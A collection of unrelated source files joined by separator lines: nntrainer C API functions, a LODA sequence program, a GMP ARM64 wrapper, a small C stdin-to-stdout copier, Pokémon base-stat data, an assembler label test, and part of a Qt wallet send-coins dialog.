ML_TRAIN_GET_VALID_LAYER_LOCKED(nnlayer, layer);
ML_TRAIN_ADOPT_LOCK(nnlayer, layer_lock);
l = nnlayer->layer;
}
returnable f = [&]() {
l->setProperty(arg_list);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_optimizer_create(ml_train_optimizer_h *optimizer,
ml_train_optimizer_type_e type) {
int status = ML_ERROR_NONE;
check_feature_state();
ml_train_optimizer *nnopt = new ml_train_optimizer;
nnopt->magic = ML_NNTRAINER_MAGIC;
nnopt->in_use = false;
returnable f = [&]() {
nnopt->optimizer =
ml::train::createOptimizer((ml::train::OptimizerType)type);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
delete nnopt;
ml_loge("creating optimizer failed");
} else {
*optimizer = nnopt;
}
return status;
}
int ml_train_optimizer_destroy(ml_train_optimizer_h optimizer) {
int status = ML_ERROR_NONE;
ml_train_optimizer *nnopt;
check_feature_state();
{
ML_TRAIN_GET_VALID_OPT_LOCKED_RESET(nnopt, optimizer);
ML_TRAIN_ADOPT_LOCK(nnopt, optimizer_lock);
if (nnopt->in_use) {
ml_loge("Cannot delete optimizer already set to a model."
"Delete model will delete this optimizer.");
return ML_ERROR_INVALID_PARAMETER;
}
}
delete nnopt;
return status;
}
int ml_train_optimizer_set_property(ml_train_optimizer_h optimizer, ...) {
int status = ML_ERROR_NONE;
ml_train_optimizer *nnopt;
const char *data;
std::shared_ptr<ml::train::Optimizer> opt;
check_feature_state();
ML_TRAIN_VERIFY_VALID_HANDLE(optimizer);
std::vector<std::string> arg_list;
va_list arguments;
va_start(arguments, optimizer);
while ((data = va_arg(arguments, const char *))) {
arg_list.push_back(data);
}
va_end(arguments);
{
ML_TRAIN_GET_VALID_OPT_LOCKED(nnopt, optimizer);
ML_TRAIN_ADOPT_LOCK(nnopt, optimizer_lock);
opt = nnopt->optimizer;
}
returnable f = [&]() {
opt->setProperty(arg_list);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_dataset_create(ml_train_dataset_h *dataset) {
return ml_train_dataset_create(dataset, ml::train::DatasetType::UNKNOWN,
nullptr, nullptr, nullptr);
}
int ml_train_dataset_add_generator(ml_train_dataset_h dataset,
ml_train_dataset_mode_e mode,
ml_train_datagen_cb cb, void *user_data) {
check_feature_state();
if (cb == nullptr) {
return ML_ERROR_INVALID_PARAMETER;
}
return ml_train_dataset_add_(dataset, mode, ml::train::DatasetType::GENERATOR,
cb, user_data);
}
int ml_train_dataset_add_file(ml_train_dataset_h dataset,
ml_train_dataset_mode_e mode, const char *file) {
check_feature_state();
if (file == nullptr) {
return ML_ERROR_INVALID_PARAMETER;
}
return ml_train_dataset_add_(dataset, mode, ml::train::DatasetType::FILE,
file);
}
int ml_train_dataset_create_with_generator(ml_train_dataset_h *dataset,
ml_train_datagen_cb train_cb,
ml_train_datagen_cb valid_cb,
ml_train_datagen_cb test_cb) {
if (train_cb == nullptr) {
return ML_ERROR_INVALID_PARAMETER;
}
return ml_train_dataset_create(dataset, ml::train::DatasetType::GENERATOR,
train_cb, valid_cb, test_cb);
}
int ml_train_dataset_create_with_file(ml_train_dataset_h *dataset,
const char *train_file,
const char *valid_file,
const char *test_file) {
if (train_file == nullptr) {
return ML_ERROR_INVALID_PARAMETER;
}
return ml_train_dataset_create(dataset, ml::train::DatasetType::FILE,
train_file, valid_file, test_file);
}
/**
* @brief set property for the specific data mode, main difference from @a
* ml_train_dataset_set_property_for_mode() is that this function returns @a
* ML_ERROR_NOT_SUPPORTED if dataset does not exist.
*
* @param[in] dataset dataset
* @param[in] mode mode
* @param[in] args argument
* @retval #ML_ERROR_NONE successful
* @retval #ML_ERROR_INVALID_PARAMETER when arg is invalid
* @retval #ML_ERROR_NOT_SUPPORTED when dataset did not exist
*/
static int
ml_train_dataset_set_property_for_mode_(ml_train_dataset_h dataset,
ml_train_dataset_mode_e mode,
const std::vector<void *> &args) {
static constexpr char USER_DATA[] = "user_data";
int status = ML_ERROR_NONE;
ml_train_dataset *nndataset;
check_feature_state();
ML_TRAIN_VERIFY_VALID_HANDLE(dataset);
{
ML_TRAIN_GET_VALID_DATASET_LOCKED(nndataset, dataset);
ML_TRAIN_ADOPT_LOCK(nndataset, dataset_lock);
auto &db = nndataset->dataset[mode];
returnable f = [&db, &args]() {
int status_ = ML_ERROR_NONE;
if (db == nullptr) {
status_ = ML_ERROR_NOT_SUPPORTED;
return status_;
}
std::vector<std::string> properties;
for (unsigned int i = 0; i < args.size(); ++i) {
char *key_ptr = (char *)args[i];
std::string key = key_ptr;
std::for_each(key.begin(), key.end(),
[](char &c) { c = ::tolower(c); });
key.erase(std::remove_if(key.begin(), key.end(), ::isspace), key.end());
/** Handle the user_data as a special case, serialize the address and
* pass it to the databuffer */
if (key == USER_DATA) {
/** This ensures that a valid user_data element is passed by the user
*/
if (i + 1 >= args.size()) {
ml_loge("key user_data expects, next value to be a pointer");
status_ = ML_ERROR_INVALID_PARAMETER;
return status_;
}
std::ostringstream ss;
ss << key << '=' << args[i + 1];
properties.push_back(ss.str());
/** As values of i+1 is consumed, increase i by 1 */
i++;
} else if (key.rfind("user_data=", 0) == 0) {
/** case that user tries to pass something like user_data=5, this is
* not allowed */
status_ = ML_ERROR_INVALID_PARAMETER;
return status_;
} else {
properties.push_back(key);
continue;
}
}
db->setProperty(properties);
return status_;
};
status = nntrainer_exception_boundary(f);
}
return status;
}
int ml_train_dataset_set_property(ml_train_dataset_h dataset, ...) {
std::vector<void *> arg_list;
va_list arguments;
va_start(arguments, dataset);
void *data;
while ((data = va_arg(arguments, void *))) {
arg_list.push_back(data);
}
va_end(arguments);
/// having status of ML_ERROR_NOT_SUPPORTED is not an error in this call.
int status = ml_train_dataset_set_property_for_mode_(
dataset, ML_TRAIN_DATASET_MODE_TRAIN, arg_list);
if (status != ML_ERROR_NONE && status != ML_ERROR_NOT_SUPPORTED) {
return status;
}
status = ml_train_dataset_set_property_for_mode_(
dataset, ML_TRAIN_DATASET_MODE_VALID, arg_list);
if (status != ML_ERROR_NONE && status != ML_ERROR_NOT_SUPPORTED) {
return status;
}
status = ml_train_dataset_set_property_for_mode_(
dataset, ML_TRAIN_DATASET_MODE_TEST, arg_list);
if (status != ML_ERROR_NONE && status != ML_ERROR_NOT_SUPPORTED) {
return status;
}
return ML_ERROR_NONE;
}
int ml_train_dataset_set_property_for_mode(ml_train_dataset_h dataset,
ml_train_dataset_mode_e mode, ...) {
std::vector<void *> arg_list;
va_list arguments;
va_start(arguments, mode);
void *data;
while ((data = va_arg(arguments, void *))) {
arg_list.push_back(data);
}
va_end(arguments);
int status = ml_train_dataset_set_property_for_mode_(dataset, mode, arg_list);
return status != ML_ERROR_NONE ? ML_ERROR_INVALID_PARAMETER : ML_ERROR_NONE;
}
int ml_train_dataset_destroy(ml_train_dataset_h dataset) {
int status = ML_ERROR_NONE;
ml_train_dataset *nndataset;
check_feature_state();
{
ML_TRAIN_GET_VALID_DATASET_LOCKED_RESET(nndataset, dataset);
ML_TRAIN_ADOPT_LOCK(nndataset, dataset_lock);
if (nndataset->in_use) {
ml_loge("Cannot delete dataset already set to a model."
"Delete model will delete this dataset.");
return ML_ERROR_INVALID_PARAMETER;
}
}
delete nndataset;
return status;
}
int ml_train_model_get_input_tensors_info(ml_train_model_h model,
ml_tensors_info_h *info) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
returnable f;
check_feature_state();
if (!info) {
return ML_ERROR_INVALID_PARAMETER;
}
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
if (m == NULL) {
return ML_ERROR_INVALID_PARAMETER;
}
std::vector<ml::train::TensorDim> dims;
f = [&]() {
dims = m->getInputDimension();
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
return status;
}
status = ml_tensors_info_create(info);
if (status != ML_ERROR_NONE) {
return status;
}
status = ml_tensors_info_set_count(*info, dims.size());
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
for (unsigned int i = 0; i < dims.size(); ++i) {
status = ml_tensors_info_set_tensor_type(*info, i, ML_TENSOR_TYPE_FLOAT32);
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
status = ml_tensors_info_set_tensor_dimension(*info, i, dims[i].getDim());
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
}
return status;
}
int ml_train_model_get_output_tensors_info(ml_train_model_h model,
ml_tensors_info_h *info) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
returnable f;
check_feature_state();
if (!info) {
return ML_ERROR_INVALID_PARAMETER;
}
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
if (m == NULL) {
return ML_ERROR_INVALID_PARAMETER;
}
std::vector<ml::train::TensorDim> dims;
f = [&]() {
dims = m->getOutputDimension();
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
return status;
}
status = ml_tensors_info_create(info);
if (status != ML_ERROR_NONE) {
return status;
}
status = ml_tensors_info_set_count(*info, dims.size());
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
for (unsigned int i = 0; i < dims.size(); ++i) {
status = ml_tensors_info_set_tensor_type(*info, i, ML_TENSOR_TYPE_FLOAT32);
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
status = ml_tensors_info_set_tensor_dimension(*info, i, dims[i].getDim());
if (status != ML_ERROR_NONE) {
ml_tensors_info_destroy(info);
return status;
}
}
return status;
}
int ml_train_model_save(ml_train_model_h model, const char *file_path,
ml_train_model_format_e format) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
{
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
}
returnable f = [&]() {
m->save(file_path, static_cast<ml::train::ModelFormat>(format));
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_model_load(ml_train_model_h model, const char *file_path,
ml_train_model_format_e format) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
{
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
}
returnable f = [&]() {
m->load(file_path, static_cast<ml::train::ModelFormat>(format));
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
return status;
}
#ifdef __cplusplus
}
#endif
|
; A089826: Decimal expansion of real root of 2*x^3+x^2-1.
; Submitted by Christian Krause
; 6,5,7,2,9,8,1,0,6,1,3,8,3,7,5,9,9,0,8,2,5,0,5,5,5,2,0,0,0,4,8,0,1,7,1,1,6,4,5,0,4,7,6,8,6,1,8,9,2,6,3,4,6,1,7,7,2,0,3,3,5,4,8,7,9,7,5,3,9,4,5,7,3,1,4,7,1,2,1,3,6,9,6,8,0,8,4,3,5,0,7,8,8,8,4,7,9,6,2
add $0,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $1,$5
add $2,$1
mul $1,2
sub $3,1
mul $5,4
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
dnl ARM64 mpn_addlsh1_n, mpn_sublsh1_n, mpn_rsblsh1_n.
dnl Copyright 2017 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
define(LSH, 1)
define(RSH, 63)
ifdef(`OPERATION_addlsh1_n',`define(`DO_add')')
ifdef(`OPERATION_sublsh1_n',`define(`DO_sub')')
ifdef(`OPERATION_rsblsh1_n',`define(`DO_rsb')')
MULFUNC_PROLOGUE(mpn_addlsh1_n mpn_sublsh1_n mpn_rsblsh1_n)
include_mpn(`arm64/aorsorrlshC_n.asm')
|
/*************************************************************************
> File Name: stdiotostdout.cpp
> Author: aoumeior
> Mail: aoumeior@outlook.com
> Created Time: 2018年02月13日 星期二 00时15分22秒
************************************************************************/
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#define BUFFSIZE 8192
int main()
{
int n;
char buf[BUFFSIZE];
while ((n = read(STDIN_FILENO, buf, BUFFSIZE)) > 0)
{
printf("%d\n", n);
if (write(STDOUT_FILENO, buf, n) != n)
{
printf("write error");
exit(-1);
}
}
if (n < 0)
{
printf("read error");
exit(-1);
}
exit(0);
}
|
db 0 ; species ID placeholder
db 75, 85, 200, 30, 55, 65
; hp atk def spd sat sdf
db STEEL, GROUND ; type
db 25 ; catch rate
db 196 ; base exp
db NO_ITEM, METAL_COAT ; items
db GENDER_F50 ; gender ratio
db 25 ; step cycles to hatch
INCBIN "gfx/pokemon/steelix/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_MINERAL, EGG_MINERAL ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm ROAR, TOXIC, HIDDEN_POWER, SUNNY_DAY, TAUNT, HYPER_BEAM, PROTECT, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DIG, DOUBLE_TEAM, SANDSTORM, ROCK_TOMB, TORMENT, FACADE, SECRET_POWER, REST, ATTRACT, ENDURE, DRAGON_PULSE, EXPLOSION, PAYBACK, GIGA_IMPACT, ROCK_POLISH, STONE_EDGE, GYRO_BALL, STEALTH_ROCK, PSYCH_UP, CAPTIVATE, DARK_PULSE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, FLASH_CANNON, CUT, STRENGTH, ROCK_SMASH, ROCK_CLIMB, ANCIENTPOWER, AQUA_TAIL, EARTH_POWER, IRON_HEAD, MAGNET_RISE, MUD_SLAP, ROLLOUT, SNORE, TWISTER
; end
|
CALL LABEL3 ; LABEL3 - yes
LD A,(LABEL1) ;rdlow-ok low mem; LABEL1 - yes
jr 1B ;; error
jr 1F
jr 4F
1
jr 1B
jr 1F ;; error
IFUSED LABEL1
LABEL1:
DB '1'
ENDIF
jr 2F
jr 4F
2
jr 1B
jr 2B
IFUSED LABEL2
LABEL2:
DB '2'
ENDIF
jr 3F
jr 4F
3
jr 1B
jr 3B
IFUSED LABEL3
LABEL3:
DB '3'
ENDIF
jr 4B ;; error
jr 4F
4
jr 1B
jr 4B
jr 4F
IFUSED LABEL4
LABEL4:
DB '4'
ENDIF
jr 4B
jr 4F
4 ;; double "4" local label (according to docs this should work)
jr 1B
jr 4B
jr 4F ;; error
LD A,LABEL2 ; LABEL2 - yes
call LABEL1
call LABEL2
call LABEL3
; call LABEL4 - stay unused
RET
|
// Copyright (c) 2011-2016 The Bitcoin Core developers
// Copyright (c) 2017-2019 The Mule Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "sendcoinsdialog.h"
#include "ui_sendcoinsdialog.h"
#include "addresstablemodel.h"
#include "muleunits.h"
#include "clientmodel.h"
#include "coincontroldialog.h"
#include "guiutil.h"
#include "optionsmodel.h"
#include "platformstyle.h"
#include "sendcoinsentry.h"
#include "walletmodel.h"
#include "guiconstants.h"
#include "base58.h"
#include "chainparams.h"
#include "wallet/coincontrol.h"
#include "validation.h" // mempool and minRelayTxFee
#include "ui_interface.h"
#include "txmempool.h"
#include "policy/fees.h"
#include "wallet/fees.h"
#include <QGraphicsDropShadowEffect>
#include <QFontMetrics>
#include <QMessageBox>
#include <QScrollBar>
#include <QSettings>
#include <QTextDocument>
#include <QTimer>
#if QT_VERSION < QT_VERSION_CHECK(5, 11, 0)
#define QTversionPreFiveEleven
#endif
SendCoinsDialog::SendCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) :
QDialog(parent),
ui(new Ui::SendCoinsDialog),
clientModel(0),
model(0),
fNewRecipientAllowed(true),
fFeeMinimized(true),
platformStyle(_platformStyle)
{
ui->setupUi(this);
if (!_platformStyle->getImagesOnButtons()) {
ui->addButton->setIcon(QIcon());
ui->clearButton->setIcon(QIcon());
ui->sendButton->setIcon(QIcon());
} else {
ui->addButton->setIcon(_platformStyle->SingleColorIcon(":/icons/add"));
ui->clearButton->setIcon(_platformStyle->SingleColorIcon(":/icons/remove"));
ui->sendButton->setIcon(_platformStyle->SingleColorIcon(":/icons/send"));
}
GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this);
addEntry();
connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry()));
connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));
// Coin Control
connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked()));
connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int)));
connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString &)), this, SLOT(coinControlChangeEdited(const QString &)));
// Coin Control: clipboard actions
QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this);
QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this);
QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this);
QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this);
QAction *clipboardLowOutputAction = new QAction(tr("Copy dust"), this);
QAction *clipboardChangeAction = new QAction(tr("Copy change"), this);
connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity()));
connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount()));
connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee()));
connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee()));
connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes()));
connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput()));
connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange()));
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
ui->labelCoinControlFee->addAction(clipboardFeeAction);
ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction);
ui->labelCoinControlBytes->addAction(clipboardBytesAction);
ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction);
ui->labelCoinControlChange->addAction(clipboardChangeAction);
// init transaction fee section
QSettings settings;
if (!settings.contains("fFeeSectionMinimized"))
settings.setValue("fFeeSectionMinimized", true);
if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility
settings.setValue("nFeeRadio", 1); // custom
if (!settings.contains("nFeeRadio"))
settings.setValue("nFeeRadio", 0); // recommended
if (!settings.contains("nSmartFeeSliderPosition"))
settings.setValue("nSmartFeeSliderPosition", 0);
if (!settings.contains("nTransactionFee"))
settings.setValue("nTransactionFee", (qint64)DEFAULT_TRANSACTION_FEE);
if (!settings.contains("fPayOnlyMinFee"))
settings.setValue("fPayOnlyMinFee", false);
ui->groupFee->setId(ui->radioSmartFee, 0);
ui->groupFee->setId(ui->radioCustomFee, 1);
ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true);
ui->customFee->setValue(settings.value("nTransactionFee").toLongLong());
ui->checkBoxMinimumFee->setChecked(settings.value("fPayOnlyMinFee").toBool());
minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool());
// Setup the coin control visuals and labels
setupCoinControl(platformStyle);
setupScrollView(platformStyle);
setupFeeControl(platformStyle);
}
void SendCoinsDialog::setClientModel(ClientModel *_clientModel)
{
this->clientModel = _clientModel;
if (_clientModel) {
connect(_clientModel, SIGNAL(numBlocksChanged(int,QDateTime,double,bool)), this, SLOT(updateSmartFeeLabel()));
}
}
void SendCoinsDialog::setModel(WalletModel *_model)
{
this->model = _model;
if(_model && _model->getOptionsModel())
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
entry->setModel(_model);
}
}
setBalance(_model->getBalance(), _model->getUnconfirmedBalance(), _model->getImmatureBalance(),
_model->getWatchBalance(), _model->getWatchUnconfirmedBalance(), _model->getWatchImmatureBalance());
connect(_model, SIGNAL(balanceChanged(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)), this, SLOT(setBalance(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)));
connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));
updateDisplayUnit();
// Coin Control
connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels()));
connect(_model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool)));
ui->frameCoinControl->setVisible(_model->getOptionsModel()->getCoinControlFeatures());
coinControlUpdateLabels();
// fee section
for (const int &n : confTargets) {
ui->confTargetSelector->addItem(tr("%1 (%2 blocks)").arg(GUIUtil::formatNiceTimeOffset(n * GetParams().GetConsensus().nPowTargetSpacing)).arg(n));
}
connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(updateSmartFeeLabel()));
connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(coinControlUpdateLabels()));
connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateFeeSectionControls()));
connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels()));
connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(coinControlUpdateLabels()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(setMinimumFee()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateFeeSectionControls()));
connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels()));
// connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(updateSmartFeeLabel()));
// connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels()));
ui->customFee->setSingleStep(GetRequiredFee(1000));
updateFeeSectionControls();
updateMinFeeLabel();
updateSmartFeeLabel();
// set default rbf checkbox state
// ui->optInRBF->setCheckState(model->getDefaultWalletRbf() ? Qt::Checked : Qt::Unchecked);
ui->optInRBF->hide();
// set the smartfee-sliders default value (wallets default conf.target or last stored value)
QSettings settings;
if (settings.value("nSmartFeeSliderPosition").toInt() != 0) {
// migrate nSmartFeeSliderPosition to nConfTarget
// nConfTarget is available since 0.15 (replaced nSmartFeeSliderPosition)
int nConfirmTarget = 25 - settings.value("nSmartFeeSliderPosition").toInt(); // 25 == old slider range
settings.setValue("nConfTarget", nConfirmTarget);
settings.remove("nSmartFeeSliderPosition");
}
if (settings.value("nConfTarget").toInt() == 0)
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(model->getDefaultConfirmTarget()));
else
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(settings.value("nConfTarget").toInt()));
}
}
SendCoinsDialog::~SendCoinsDialog()
{
QSettings settings;
settings.setValue("fFeeSectionMinimized", fFeeMinimized);
settings.setValue("nFeeRadio", ui->groupFee->checkedId());
settings.setValue("nConfTarget", getConfTargetForIndex(ui->confTargetSelector->currentIndex()));
settings.setValue("nTransactionFee", (qint64)ui->customFee->value());
settings.setValue("fPayOnlyMinFee", ui->checkBoxMinimumFee->isChecked());
delete ui;
}
void SendCoinsDialog::setupCoinControl(const PlatformStyle *platformStyle)
{
/** Update the coincontrol frame */
ui->frameCoinControl->setStyleSheet(QString(".QFrame {background-color: %1; padding-top: 10px; padding-right: 5px; border: none;}").arg(platformStyle->WidgetBackGroundColor().name()));
ui->widgetCoinControl->setStyleSheet(".QWidget {background-color: transparent;}");
/** Create the shadow effects on the frames */
ui->frameCoinControl->setGraphicsEffect(GUIUtil::getShadowEffect());
ui->labelCoinControlFeatures->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlFeatures->setFont(GUIUtil::getTopLabelFont());
ui->labelCoinControlQuantityText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlQuantityText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlAmountText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlAmountText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlFeeText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlFeeText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlAfterFeeText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlAfterFeeText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlBytesText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlBytesText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlLowOutputText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlLowOutputText->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlChangeText->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlChangeText->setFont(GUIUtil::getSubLabelFont());
// Align the other labels next to the input buttons to the text in the same height
ui->labelCoinControlAutomaticallySelected->setStyleSheet(STRING_LABEL_COLOR);
// Align the Custom change address checkbox
ui->checkBoxCoinControlChange->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCoinControlQuantity->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlAmount->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlFee->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlAfterFee->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlBytes->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlLowOutput->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlChange->setFont(GUIUtil::getSubLabelFont());
ui->checkBoxCoinControlChange->setFont(GUIUtil::getSubLabelFont());
ui->lineEditCoinControlChange->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlInsuffFunds->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlAutomaticallySelected->setFont(GUIUtil::getSubLabelFont());
ui->labelCoinControlChangeLabel->setFont(GUIUtil::getSubLabelFontBolded());
}
void SendCoinsDialog::setupScrollView(const PlatformStyle *platformStyle)
{
/** Update the scrollview*/
ui->scrollArea->setStyleSheet(QString(".QScrollArea{background-color: %1; border: none}").arg(platformStyle->WidgetBackGroundColor().name()));
ui->scrollArea->setGraphicsEffect(GUIUtil::getShadowEffect());
// Add some spacing so we can see the whole card
ui->entries->setContentsMargins(10,10,20,0);
ui->scrollAreaWidgetContents->setStyleSheet(QString(".QWidget{ background-color: %1;}").arg(platformStyle->WidgetBackGroundColor().name()));
}
void SendCoinsDialog::setupFeeControl(const PlatformStyle *platformStyle)
{
/** Update the coincontrol frame */
ui->frameFee->setStyleSheet(QString(".QFrame {background-color: %1; padding-top: 10px; padding-right: 5px; border: none;}").arg(platformStyle->WidgetBackGroundColor().name()));
/** Create the shadow effects on the frames */
ui->frameFee->setGraphicsEffect(GUIUtil::getShadowEffect());
ui->labelFeeHeadline->setStyleSheet(STRING_LABEL_COLOR);
ui->labelFeeHeadline->setFont(GUIUtil::getSubLabelFont());
ui->labelSmartFee3->setStyleSheet(STRING_LABEL_COLOR);
ui->labelCustomPerKilobyte->setStyleSheet(STRING_LABEL_COLOR);
ui->radioSmartFee->setStyleSheet(STRING_LABEL_COLOR);
ui->radioCustomFee->setStyleSheet(STRING_LABEL_COLOR);
ui->checkBoxMinimumFee->setStyleSheet(STRING_LABEL_COLOR);
ui->buttonChooseFee->setFont(GUIUtil::getSubLabelFont());
ui->fallbackFeeWarningLabel->setFont(GUIUtil::getSubLabelFont());
ui->buttonMinimizeFee->setFont(GUIUtil::getSubLabelFont());
ui->radioSmartFee->setFont(GUIUtil::getSubLabelFont());
ui->labelSmartFee2->setFont(GUIUtil::getSubLabelFont());
ui->labelSmartFee3->setFont(GUIUtil::getSubLabelFont());
ui->confTargetSelector->setFont(GUIUtil::getSubLabelFont());
ui->radioCustomFee->setFont(GUIUtil::getSubLabelFont());
ui->labelCustomPerKilobyte->setFont(GUIUtil::getSubLabelFont());
ui->customFee->setFont(GUIUtil::getSubLabelFont());
ui->labelMinFeeWarning->setFont(GUIUtil::getSubLabelFont());
ui->optInRBF->setFont(GUIUtil::getSubLabelFont());
